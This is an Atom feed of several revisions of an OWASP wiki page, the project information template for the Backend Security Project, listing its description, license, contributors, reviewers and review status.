		<summary type="html">&lt;p&gt;Carlo.pelliccioni: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| style=&amp;quot;width:100%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 ! colspan=&amp;quot;8&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''PROJECT IDENTIFICATION''' &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|'''Project Name'''&lt;br /&gt;
 | colspan=&amp;quot;7&amp;quot; style=&amp;quot;width:85%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&amp;lt;font color=&amp;quot;black&amp;quot;&amp;gt;'''OWASP Backend Security Project''' &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| '''Short Project Description''' &lt;br /&gt;
 | colspan=&amp;quot;7&amp;quot; style=&amp;quot;width:85%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|This project aims to improve and to collect the existent information about the backend security. The project is composed by three sections (security development, security hardening and security testing). The aim is to define the guidelines for the companies and IT professionals working in the security field into processes development and back-end components management/testing in the enterprise architecture.&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|'''PROJECT KEY INFORMATION'''&lt;br /&gt;
 | style=&amp;quot;width:12%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|Licensed under&amp;lt;br&amp;gt;[http://creativecommons.org/licenses/by-sa/3.0/ Creative Commons Attribution-ShareAlike 3.0]&lt;br /&gt;
 | style=&amp;quot;width:12%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|Project Leader&amp;lt;br&amp;gt;[mailto:carlo.pelliccioni(at)gmail.com '''Carlo Pelliccioni''']&lt;br /&gt;
 | style=&amp;quot;width:13%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|Project Contributors&amp;lt;br&amp;gt;[mailto:daniele.bellucci(at)gmail.com '''Daniele Bellucci''']&amp;lt;br&amp;gt;[mailto:esonn(at)gmx.net '''Erik Sonnleitner''']&amp;lt;br&amp;gt;[mailto:francesco.perna(at)gmail.com '''Francesco Perna''']&amp;lt;br&amp;gt;[mailto:overet(at)securitydate.it '''Giuseppe Gottardi''']&amp;lt;br&amp;gt;[mailto:na '''Guido Landi''']&amp;lt;br&amp;gt;[mailto:guido.pederzini(at)gmail.com '''Guido Pederzini''']&amp;lt;br&amp;gt;[mailto:inode(at)mediaservice.net '''Maurizio Agazzini''']&amp;lt;br&amp;gt;[mailto:massimo.biagiotti(at)gmail.com '''Massimo Biagiotti''']&amp;lt;br&amp;gt;[mailto:pderinaldis(at)gmail.com '''Pasquale de Rinaldis''']&lt;br /&gt;
 | style=&amp;quot;width:12%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|[https://lists.owasp.org/mailman/listinfo/owasp-backend-security '''Mailing List/Subscribe''']&amp;lt;br&amp;gt;[mailto:owasp-backend-security(at)lists.owasp.org '''Mailing List/Use''']&lt;br /&gt;
 | style=&amp;quot;width:12%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|First Reviewer&amp;lt;br&amp;gt;[mailto:kisero(at)gmail.com '''Esteban Ribičić''']&lt;br /&gt;
 | style=&amp;quot;width:12%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|Second Reviewer&amp;lt;br&amp;gt;[mailto:spyroinc(at)gmail.com '''Josh Sweeney''']&lt;br /&gt;
 | style=&amp;quot;width:12%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|OWASP Board Member&amp;lt;br&amp;gt;(if applicable)&amp;lt;br&amp;gt;[mailto:name(at)name '''Name&amp;amp;Email''']&lt;br /&gt;
 |}&lt;br /&gt;
{| style=&amp;quot;width:100%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 ! colspan=&amp;quot;6&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''PROJECT MAIN LINKS''' &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:100%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|&lt;br /&gt;
* [[OWASP Backend Security Project|OWASP Backend Security Project v1.0]]&lt;br /&gt;
* [https://www.owasp.org/images/2/20/OWASP_EU_Summit_2008_Presentation_Model.ppt PowerPoint Presentation]&lt;br /&gt;
* (If appropriate, more links to be added)&lt;br /&gt;
 |}&lt;br /&gt;
{| style=&amp;quot;width:100%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 ! colspan=&amp;quot;6&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''SPONSORS &amp;amp; GUIDELINES''' &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:50%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|[[OWASP Summer of Code 2008|Sponsor - '''OWASP Summer of Code 2008''']] &lt;br /&gt;
 | style=&amp;quot;width:50%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|[[OWASP Summer of Code 2008 Applications - Need Futher Clarifications#OWASP Backend Security Project|'''Sponsored Project/Guidelines/Roadmap''']]&lt;br /&gt;
 |}&lt;br /&gt;
{| style=&amp;quot;width:100%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 ! colspan=&amp;quot;5&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot;|ASSESSMENT AND REVIEW PROCESS&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#6C82B5&amp;quot; align=&amp;quot;center&amp;quot;|'''Review/Reviewer''' &lt;br /&gt;
 | style=&amp;quot;width:21%; background:#b3b3b3&amp;quot; align=&amp;quot;center&amp;quot;|'''Author's Self Evaluation'''&amp;lt;br&amp;gt;(applicable for Alpha Quality &amp;amp; further) &lt;br /&gt;
 | style=&amp;quot;width:21%; background:#b3b3b3&amp;quot; align=&amp;quot;center&amp;quot;|'''First Reviewer'''&amp;lt;br&amp;gt;(applicable for Alpha Quality &amp;amp; further)&lt;br /&gt;
 | style=&amp;quot;width:21%; background:#b3b3b3&amp;quot; align=&amp;quot;center&amp;quot;|'''Second Reviewer'''&amp;lt;br&amp;gt;(applicable for Beta Quality &amp;amp; further)&lt;br /&gt;
 | style=&amp;quot;width:22%; background:#b3b3b3&amp;quot; align=&amp;quot;center&amp;quot;|'''OWASP Board Member'''&amp;lt;br&amp;gt;(applicable just for Release Quality) &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|'''50% Review''' &lt;br /&gt;
 | style=&amp;quot;width:21%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|Objectives &amp;amp; Deliveries reached?&amp;lt;br&amp;gt;'''Yes'''&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;[[Project Information:template Backend Security Project - 50 Review - Self Evaluation - A|See&amp;amp;Edit:50% Review/Self-Evaluation (A)]]&lt;br /&gt;
 | style=&amp;quot;width:21%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|Objectives &amp;amp; Deliveries reached?&amp;lt;br&amp;gt;'''Yes'''&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;[[Project Information:template Backend Security Project - 50 Review - First Reviewer - C|See&amp;amp;Edit: 50% Review/1st Reviewer (C)]]&lt;br /&gt;
 | style=&amp;quot;width:21%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|Objectives &amp;amp; Deliveries reached?&amp;lt;br&amp;gt;'''Yes'''&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;[[Project Information:template Backend Security Project 50 Review Second Review E|See&amp;amp;Edit: 50%Review/2nd Reviewer (E)]]&lt;br /&gt;
 | style=&amp;quot;width:22%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|X &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|'''Final Review''' &lt;br /&gt;
 | style=&amp;quot;width:21%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|Objectives &amp;amp; Deliveries reached?&amp;lt;br&amp;gt;'''Yes'''&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;Which status has been reached?&amp;lt;br&amp;gt;'''Beta Quality'''&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;[[Project Information:template Backend Security Project - Final Review - Self Evaluation - B|See&amp;amp;Edit: Final Review/SelfEvaluation (B)]]&lt;br /&gt;
 | style=&amp;quot;width:21%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|Objectives &amp;amp; Deliveries reached?&amp;lt;br&amp;gt;'''Yes'''&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;Which status has been reached?&amp;lt;br&amp;gt;'''Beta Quality'''&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;[[Project Information:template Backend Security Project - Final Review - First Reviewer - D|See&amp;amp;Edit: Final Review/1st Reviewer (D)]]&lt;br /&gt;
 | style=&amp;quot;width:21%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|Objectives &amp;amp; Deliveries reached?&amp;lt;br&amp;gt;'''Yes'''&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;Which status has been reached?&amp;lt;br&amp;gt;'''Beta Quality'''&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;[[Project Information:template Backend Security Project - Final Review - Second Reviewer - F|See&amp;amp;Edit: Final Review/2nd Reviewer (F)]]&lt;br /&gt;
 | style=&amp;quot;width:22%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|X&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;/div&gt;</summary>
		<author><name>Carlo.pelliccioni</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Project_Information:template_Backend_Security_Project&amp;diff=49701</id>
		<title>Project Information:template Backend Security Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Project_Information:template_Backend_Security_Project&amp;diff=49701"/>
				<updated>2008-12-22T12:01:50Z</updated>
		
		<summary type="html">&lt;p&gt;Carlo.pelliccioni: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| style=&amp;quot;width:100%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 ! colspan=&amp;quot;8&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''PROJECT IDENTIFICATION''' &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|'''Project Name'''&lt;br /&gt;
 | colspan=&amp;quot;7&amp;quot; style=&amp;quot;width:85%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&amp;lt;font color=&amp;quot;black&amp;quot;&amp;gt;'''OWASP Backend Security Project''' &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| '''Short Project Description''' &lt;br /&gt;
 | colspan=&amp;quot;7&amp;quot; style=&amp;quot;width:85%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|This project aims to improve and to collect the existent information about the backend security. The project is composed by three sections (security development, security hardening and security testing). The aim is to define the guidelines for the companies and IT professionals working in the security field into processes development and back-end components management/testing in the enterprise architecture.&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|'''PROJECT KEY INFORMATION'''&lt;br /&gt;
 | style=&amp;quot;width:12%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|Licensed under&amp;lt;br&amp;gt;[http://creativecommons.org/licenses/by-sa/3.0/ | Creative Commons Attribution-ShareAlike 3.0]&lt;br /&gt;
 | style=&amp;quot;width:12%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|Project Leader&amp;lt;br&amp;gt;[mailto:carlo.pelliccioni(at)gmail.com '''Carlo Pelliccioni''']&lt;br /&gt;
 | style=&amp;quot;width:13%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|Project Contributors&amp;lt;br&amp;gt;[mailto:daniele.bellucci(at)gmail.com '''Daniele Bellucci''']&amp;lt;br&amp;gt;[mailto:esonn(at)gmx.net '''Erik Sonnleitner''']&amp;lt;br&amp;gt;[mailto:francesco.perna(at)gmail.com '''Francesco Perna''']&amp;lt;br&amp;gt;[mailto:overet(at)securitydate.it '''Giuseppe Gottardi''']&amp;lt;br&amp;gt;[mailto:na '''Guido Landi''']&amp;lt;br&amp;gt;[mailto:guido.pederzini(at)gmail.com '''Guido Pederzini''']&amp;lt;br&amp;gt;[mailto:inode(at)mediaservice.net '''Maurizio Agazzini''']&amp;lt;br&amp;gt;[mailto:massimo.biagiotti(at)gmail.com '''Massimo Biagiotti''']&amp;lt;br&amp;gt;[mailto:pderinaldis(at)gmail.com '''Pasquale de Rinaldis''']&lt;br /&gt;
 | style=&amp;quot;width:12%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|[https://lists.owasp.org/mailman/listinfo/owasp-backend-security '''Mailing List/Subscribe''']&amp;lt;br&amp;gt;[mailto:owasp-backend-security(at)lists.owasp.org '''Mailing List/Use''']&lt;br /&gt;
 | style=&amp;quot;width:12%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|First Reviewer&amp;lt;br&amp;gt;[mailto:kisero(at)gmail.com '''Esteban Ribičić''']&lt;br /&gt;
 | style=&amp;quot;width:12%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|Second Reviewer&amp;lt;br&amp;gt;[mailto:spyroinc(at)gmail.com '''Josh Sweeney''']&lt;br /&gt;
 | style=&amp;quot;width:12%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|OWASP Board Member&amp;lt;br&amp;gt;(if applicable)&amp;lt;br&amp;gt;[mailto:name(at)name '''Name&amp;amp;Email''']&lt;br /&gt;
 |}&lt;br /&gt;
{| style=&amp;quot;width:100%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 ! colspan=&amp;quot;6&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''PROJECT MAIN LINKS''' &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:100%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|&lt;br /&gt;
* [[OWASP Backend Security Project|OWASP Backend Security Project v1.0]]&lt;br /&gt;
* [https://www.owasp.org/images/2/20/OWASP_EU_Summit_2008_Presentation_Model.ppt PowerPoint Presentation]&lt;br /&gt;
* (If appropriate, more links to be added)&lt;br /&gt;
 |}&lt;br /&gt;
{| style=&amp;quot;width:100%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 ! colspan=&amp;quot;6&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''SPONSORS &amp;amp; GUIDELINES''' &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:50%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|[[OWASP Summer of Code 2008|Sponsor - '''OWASP Summer of Code 2008''']] &lt;br /&gt;
 | style=&amp;quot;width:50%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|[[OWASP Summer of Code 2008 Applications - Need Futher Clarifications#OWASP Backend Security Project|'''Sponsored Project/Guidelines/Roadmap''']]&lt;br /&gt;
 |}&lt;br /&gt;
{| style=&amp;quot;width:100%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 ! colspan=&amp;quot;5&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot;|ASSESSMENT AND REVIEW PROCESS&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#6C82B5&amp;quot; align=&amp;quot;center&amp;quot;|'''Review/Reviewer''' &lt;br /&gt;
 | style=&amp;quot;width:21%; background:#b3b3b3&amp;quot; align=&amp;quot;center&amp;quot;|'''Author's Self Evaluation'''&amp;lt;br&amp;gt;(applicable for Alpha Quality &amp;amp; further) &lt;br /&gt;
 | style=&amp;quot;width:21%; background:#b3b3b3&amp;quot; align=&amp;quot;center&amp;quot;|'''First Reviewer'''&amp;lt;br&amp;gt;(applicable for Alpha Quality &amp;amp; further)&lt;br /&gt;
 | style=&amp;quot;width:21%; background:#b3b3b3&amp;quot; align=&amp;quot;center&amp;quot;|'''Second Reviewer'''&amp;lt;br&amp;gt;(applicable for Beta Quality &amp;amp; further)&lt;br /&gt;
 | style=&amp;quot;width:22%; background:#b3b3b3&amp;quot; align=&amp;quot;center&amp;quot;|'''OWASP Board Member'''&amp;lt;br&amp;gt;(applicable just for Release Quality) &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|'''50% Review''' &lt;br /&gt;
 | style=&amp;quot;width:21%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|Objectives &amp;amp; Deliveries reached?&amp;lt;br&amp;gt;'''Yes'''&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;[[Project Information:template Backend Security Project - 50 Review - Self Evaluation - A|See&amp;amp;Edit:50% Review/Self-Evaluation (A)]]&lt;br /&gt;
 | style=&amp;quot;width:21%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|Objectives &amp;amp; Deliveries reached?&amp;lt;br&amp;gt;'''Yes'''&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;[[Project Information:template Backend Security Project - 50 Review - First Reviewer - C|See&amp;amp;Edit: 50% Review/1st Reviewer (C)]]&lt;br /&gt;
 | style=&amp;quot;width:21%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|Objectives &amp;amp; Deliveries reached?&amp;lt;br&amp;gt;'''Yes'''&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;[[Project Information:template Backend Security Project 50 Review Second Review E|See&amp;amp;Edit: 50%Review/2nd Reviewer (E)]]&lt;br /&gt;
 | style=&amp;quot;width:22%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|X &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|'''Final Review''' &lt;br /&gt;
 | style=&amp;quot;width:21%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|Objectives &amp;amp; Deliveries reached?&amp;lt;br&amp;gt;'''Yes'''&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;Which status has been reached?&amp;lt;br&amp;gt;'''Beta Quality'''&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;[[Project Information:template Backend Security Project - Final Review - Self Evaluation - B|See&amp;amp;Edit: Final Review/SelfEvaluation (B)]]&lt;br /&gt;
 | style=&amp;quot;width:21%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|Objectives &amp;amp; Deliveries reached?&amp;lt;br&amp;gt;'''Yes'''&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;Which status has been reached?&amp;lt;br&amp;gt;'''Beta Quality'''&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;[[Project Information:template Backend Security Project - Final Review - First Reviewer - D|See&amp;amp;Edit: Final Review/1st Reviewer (D)]]&lt;br /&gt;
 | style=&amp;quot;width:21%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|Objectives &amp;amp; Deliveries reached?&amp;lt;br&amp;gt;'''Yes'''&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;Which status has been reached?&amp;lt;br&amp;gt;'''Beta Quality'''&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;[[Project Information:template Backend Security Project - Final Review - Second Reviewer - F|See&amp;amp;Edit: Final Review/2nd Reviewer (F)]]&lt;br /&gt;
 | style=&amp;quot;width:22%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|X&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;/div&gt;</summary>
		<author><name>Carlo.pelliccioni</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Project_Information:template_Backend_Security_Project&amp;diff=49700</id>
		<title>Project Information:template Backend Security Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Project_Information:template_Backend_Security_Project&amp;diff=49700"/>
				<updated>2008-12-22T12:00:52Z</updated>
		
		<summary type="html">&lt;p&gt;Carlo.pelliccioni: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| style=&amp;quot;width:100%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 ! colspan=&amp;quot;8&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''PROJECT IDENTIFICATION''' &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|'''Project Name'''&lt;br /&gt;
 | colspan=&amp;quot;7&amp;quot; style=&amp;quot;width:85%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&amp;lt;font color=&amp;quot;black&amp;quot;&amp;gt;'''OWASP Backend Security Project''' &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| '''Short Project Description''' &lt;br /&gt;
 | colspan=&amp;quot;7&amp;quot; style=&amp;quot;width:85%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|This project aims to improve and to collect the existent information about the backend security. The project is composed by three sections (security development, security hardening and security testing). The aim is to define the guidelines for the companies and IT professionals working in the security field into processes development and back-end components management/testing in the enterprise architecture.&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|'''PROJECT KEY INFORMATION'''&lt;br /&gt;
 | style=&amp;quot;width:12%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|Licensed under&amp;lt;br&amp;gt;[http://creativecommons.org/licenses/by-nc-nd/3.0/ |Creative Commons Attribution-ShareAlike 3.0]&lt;br /&gt;
 | style=&amp;quot;width:12%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|Project Leader&amp;lt;br&amp;gt;[mailto:carlo.pelliccioni(at)gmail.com '''Carlo Pelliccioni''']&lt;br /&gt;
 | style=&amp;quot;width:13%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|Project Contributors&amp;lt;br&amp;gt;[mailto:daniele.bellucci(at)gmail.com '''Daniele Bellucci''']&amp;lt;br&amp;gt;[mailto:esonn(at)gmx.net '''Erik Sonnleitner''']&amp;lt;br&amp;gt;[mailto:francesco.perna(at)gmail.com '''Francesco Perna''']&amp;lt;br&amp;gt;[mailto:overet(at)securitydate.it '''Giuseppe Gottardi''']&amp;lt;br&amp;gt;[mailto:na '''Guido Landi''']&amp;lt;br&amp;gt;[mailto:guido.pederzini(at)gmail.com '''Guido Pederzini''']&amp;lt;br&amp;gt;[mailto:inode(at)mediaservice.net '''Maurizio Agazzini''']&amp;lt;br&amp;gt;[mailto:massimo.biagiotti(at)gmail.com '''Massimo Biagiotti''']&amp;lt;br&amp;gt;[mailto:pderinaldis(at)gmail.com '''Pasquale de Rinaldis''']&lt;br /&gt;
 | style=&amp;quot;width:12%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|[https://lists.owasp.org/mailman/listinfo/owasp-backend-security '''Mailing List/Subscribe''']&amp;lt;br&amp;gt;[mailto:owasp-backend-security(at)lists.owasp.org '''Mailing List/Use''']&lt;br /&gt;
 | style=&amp;quot;width:12%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|First Reviewer&amp;lt;br&amp;gt;[mailto:kisero(at)gmail.com '''Esteban Ribičić''']&lt;br /&gt;
 | style=&amp;quot;width:12%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|Second Reviewer&amp;lt;br&amp;gt;[mailto:spyroinc(at)gmail.com '''Josh Sweeney''']&lt;br /&gt;
 | style=&amp;quot;width:12%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|OWASP Board Member&amp;lt;br&amp;gt;(if applicable)&amp;lt;br&amp;gt;[mailto:name(at)name '''Name&amp;amp;Email''']&lt;br /&gt;
 |}&lt;br /&gt;
{| style=&amp;quot;width:100%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 ! colspan=&amp;quot;6&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''PROJECT MAIN LINKS''' &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:100%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|&lt;br /&gt;
* [[OWASP Backend Security Project|OWASP Backend Security Project v1.0]]&lt;br /&gt;
* [https://www.owasp.org/images/2/20/OWASP_EU_Summit_2008_Presentation_Model.ppt PowerPoint Presentation]&lt;br /&gt;
* (If appropriate, more links to be added)&lt;br /&gt;
 |}&lt;br /&gt;
{| style=&amp;quot;width:100%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 ! colspan=&amp;quot;6&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''SPONSORS &amp;amp; GUIDELINES''' &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:50%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|[[OWASP Summer of Code 2008|Sponsor - '''OWASP Summer of Code 2008''']] &lt;br /&gt;
 | style=&amp;quot;width:50%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|[[OWASP Summer of Code 2008 Applications - Need Futher Clarifications#OWASP Backend Security Project|'''Sponsored Project/Guidelines/Roadmap''']]&lt;br /&gt;
 |}&lt;br /&gt;
{| style=&amp;quot;width:100%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 ! colspan=&amp;quot;5&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot;|ASSESSMENT AND REVIEW PROCESS&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#6C82B5&amp;quot; align=&amp;quot;center&amp;quot;|'''Review/Reviewer''' &lt;br /&gt;
 | style=&amp;quot;width:21%; background:#b3b3b3&amp;quot; align=&amp;quot;center&amp;quot;|'''Author's Self Evaluation'''&amp;lt;br&amp;gt;(applicable for Alpha Quality &amp;amp; further) &lt;br /&gt;
 | style=&amp;quot;width:21%; background:#b3b3b3&amp;quot; align=&amp;quot;center&amp;quot;|'''First Reviewer'''&amp;lt;br&amp;gt;(applicable for Alpha Quality &amp;amp; further)&lt;br /&gt;
 | style=&amp;quot;width:21%; background:#b3b3b3&amp;quot; align=&amp;quot;center&amp;quot;|'''Second Reviewer'''&amp;lt;br&amp;gt;(applicable for Beta Quality &amp;amp; further)&lt;br /&gt;
 | style=&amp;quot;width:22%; background:#b3b3b3&amp;quot; align=&amp;quot;center&amp;quot;|'''OWASP Board Member'''&amp;lt;br&amp;gt;(applicable just for Release Quality) &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|'''50% Review''' &lt;br /&gt;
 | style=&amp;quot;width:21%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|Objectives &amp;amp; Deliveries reached?&amp;lt;br&amp;gt;'''Yes'''&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;[[Project Information:template Backend Security Project - 50 Review - Self Evaluation - A|See&amp;amp;Edit:50% Review/Self-Evaluation (A)]]&lt;br /&gt;
